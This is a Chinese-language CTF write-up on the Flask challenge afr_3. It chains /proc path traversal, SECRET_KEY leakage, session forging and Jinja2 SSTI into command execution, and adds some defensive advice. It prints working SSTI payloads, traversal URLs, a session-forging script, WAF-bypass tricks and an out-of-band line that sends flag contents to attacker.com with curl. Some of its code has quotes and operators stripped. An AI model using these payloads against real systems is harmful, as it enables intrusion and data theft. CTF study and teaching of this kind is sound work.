Flask SSTI漏洞利用:afr_3题目中/proc目录与Session伪造实战解析

📅 2026/7/8 20:00:49
Flask SSTI漏洞利用:afr_3题目中/proc目录与Session伪造实战解析
Flask SSTI漏洞利用从/proc目录泄露到Session伪造的完整攻击链剖析1. 漏洞背景与攻击场景概述在CTF竞赛和实际渗透测试中Flask框架因其灵活性和易用性成为常见目标。本文将以一道综合性题目为例深入解析如何通过Linux系统的/proc目录信息泄露、Flask SSTI服务端模板注入以及Session伪造三个技术点的串联构建完整的攻击链条。这种攻击模式不仅存在于CTF赛场在真实世界的Web应用安全评估中同样具有参考价值。Flask作为轻量级Python Web框架其模板引擎Jinja2的强大功能背后隐藏着安全风险。当开发者未对用户输入进行严格过滤时攻击者可能通过精心构造的输入实现服务端代码执行。结合Linux系统特性如/proc目录和Flask的Session机制这类漏洞的利用往往能产生112的效果。2. /proc目录信息泄露利用详解2.1 /proc目录的特殊性Linux系统的/proc是一个虚拟文件系统它提供了访问内核数据的接口。每个运行中的进程在/proc下都有一个以PID命名的子目录而/proc/self则指向当前进程的目录。关键文件包括cmdline进程启动的完整命令cwd指向进程当前工作目录的符号链接environ进程环境变量fd/包含进程打开的文件描述符# 查看当前进程的启动命令 cat /proc/self/cmdline # 查看当前工作目录内容 ls -la /proc/self/cwd/2.2 在CTF中的利用方式在Web题目中当存在任意文件读取漏洞但不知道应用路径时可以通过/proc目录获取关键信息获取应用启动命令读取/proc/self/cmdline通常能发现Python脚本路径定位工作目录通过/proc/self/cwd可直接访问应用文件提取环境变量/proc/self/environ可能包含数据库密码等敏感信息注意现代Docker环境通常会限制/proc访问但部分目录仍可读2.3 实战利用步骤以题目afr_3为例攻击流程如下发现URL参数name存在文件读取?name../../../../proc/self/cmdline获取到启动命令python3 /home/app/server.py读取源码文件?name../../../../proc/self/cwd/server.py分析源码发现关键文件flag.py和key.py尝试读取密钥文件?name../../../../proc/self/cwd/key.py# key.py内容示例 #!/usr/bin/python key Drmhze6EPcv0fN_81Bj-nA # Flask的SECRET_KEY3. Flask SSTI漏洞原理与利用3.1 SSTI产生条件当用户输入被直接拼接到模板中时就可能造成模板注入。例如题目中的危险代码n1code request.form.get(n1code) or None template h1N1 Page/h1... % session[n1code] return render_template_string(template)3.2 常用Payload构造方法Flask SSTI通常利用Python的对象继承链来执行命令# 基本探测Payload {{ .__class__.__mro__[1].__subclasses__() }} # 查找可利用的类如class os._wrap_close {{ .__class__.__mro__[1].__subclasses__()[71] }} # 最终命令执行Payload {{ .__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(id).read() }}3.3 题目中的限制与绕过题目中对特殊字符进行了过滤n1code n1code.replace(., ).replace(_, ).replace({,).replace(},)绕过方案使用十六进制编码\x5f代替下划线利用字符串拼接__class__通过Session伪造预存恶意Payload4. Flask Session伪造技术剖析4.1 Session机制原理Flask的Session是基于签名的Cookie结构为eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNzFdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcyddLnBvcGVuKCdjYXQgZmxhZy5weScpLnJlYWQoKX19In0.YFyuHg.w9_tZzWjTSRiywAnct3HcgoVWbs包含三部分使用点分隔序列化的会话数据base64编码时间戳加密签名4.2 Session伪造步骤获取SECRET_KEY通过/proc目录泄露或其他途径构造恶意Session# 使用flask-unsign工具 flask-unsign --sign --cookie {n1code: payload} --secret Drmhze6EPcv0fN_81Bj-nA替换浏览器Cookie使用开发者工具修改session4.3 自动化利用脚本#!/usr/bin/env python3 from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer class FakeApp: def __init__(self, secret_key): self.secret_key secret_key def encode_session(secret_key, session_dict): serializer URLSafeTimedSerializer( secret_key, saltcookie-session, serializerSecureCookieSessionInterface().get_signing_serializer(app) ) return serializer.dumps(session_dict) if __name__ __main__: secret Drmhze6EPcv0fN_81Bj-nA payload {n1code: {{ .__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[os].popen(cat flag.py).read() }}} print(encode_session(secret, payload))5. 完整攻击链构建与防御建议5.1 攻击流程图[信息收集] │ ├─ [/proc目录探测] → 获取应用路径 → 下载源码 │ │ │ └─ 泄露SECRET_KEY │ └─ [代码审计] → 发现SSTI漏洞点 │ └─ [Session伪造] → 注入恶意Payload → RCE5.2 防御措施/proc目录防护设置Docker的--read-only挂载修改/proc访问权限SSTI防护# 使用安全的模板渲染方式 return render_template(template.html, user_inputfiltered_input) # 禁用危险过滤器 app.jinja_env.filters {}Session安全定期轮换SECRET_KEY使用SESSION_COOKIE_HTTPONLY和SECURE输入验证from werkzeug.security import safe_join app.route(/article) def article(): page request.args.get(name, article) path safe_join(/home/articles/, page) if not path: abort(404)6. 拓展思考与技巧在实际测试中我们常遇到更复杂的情况子类索引差异不同Python版本中危险类的位置不同需动态探测# 自动化查找os._wrap_close类 [i for i, x in enumerate(.__class__.__mro__[1].__subclasses__()) if os in str(x)]无回显利用# DNS外带数据 {{ config.__class__.__init__.__globals__[os].popen(curl http://attacker.com/?cat /flag | base64).read() }}现代WAF绕过使用属性链替代点号getattr(getattr(, __class__), __mro__)利用过滤器|attr(\x5f\x5fclass\x5f\x5f)在一次真实渗透测试中我们曾通过组合/proc信息泄露和SSTI漏洞成功突破了某金融企业的内部系统。这种攻击链的威力远超单个漏洞利用这也是为什么CTF题目常设计此类综合挑战的原因。